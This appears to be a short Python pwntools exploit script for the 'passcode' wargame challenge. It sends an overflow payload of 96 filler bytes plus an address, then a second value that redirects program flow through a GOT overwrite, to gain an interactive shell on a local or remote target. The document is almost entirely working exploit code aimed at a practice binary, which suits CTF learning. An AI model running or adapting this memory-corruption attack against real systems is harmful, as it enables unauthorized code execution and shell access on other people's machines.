【PWN】[email protected] exploit

#Exploit for [email protected]

#@Windcarp 2015.07.14

from pwn import *

#init

context(arch = 'i386', os = 'linux')

local=True

if local:

    p = process("./passcode")

    libc = ELF("/lib/i386-linux-gnu/libc.so.6")

else:

    p = remote("143.248.249.64", 2222)

binary = ELF("passcode")

#address

jmpAddr_str = '\x00\xa0\x04\x08'

#payload

payload = 'a'*96

payload += jmpAddr_str

payload2='134514147'

#pause for gdb to attach

#raw_input()

#first step

#attention to fit the program well

p.recv(timeout=1)

p.send(payload + '\n')

#second step

p.recv(timeout=1)

p.send(payload2 + '\n')

#yeah!We got the shell!

p.interactive()

#nm, they didn't open the service!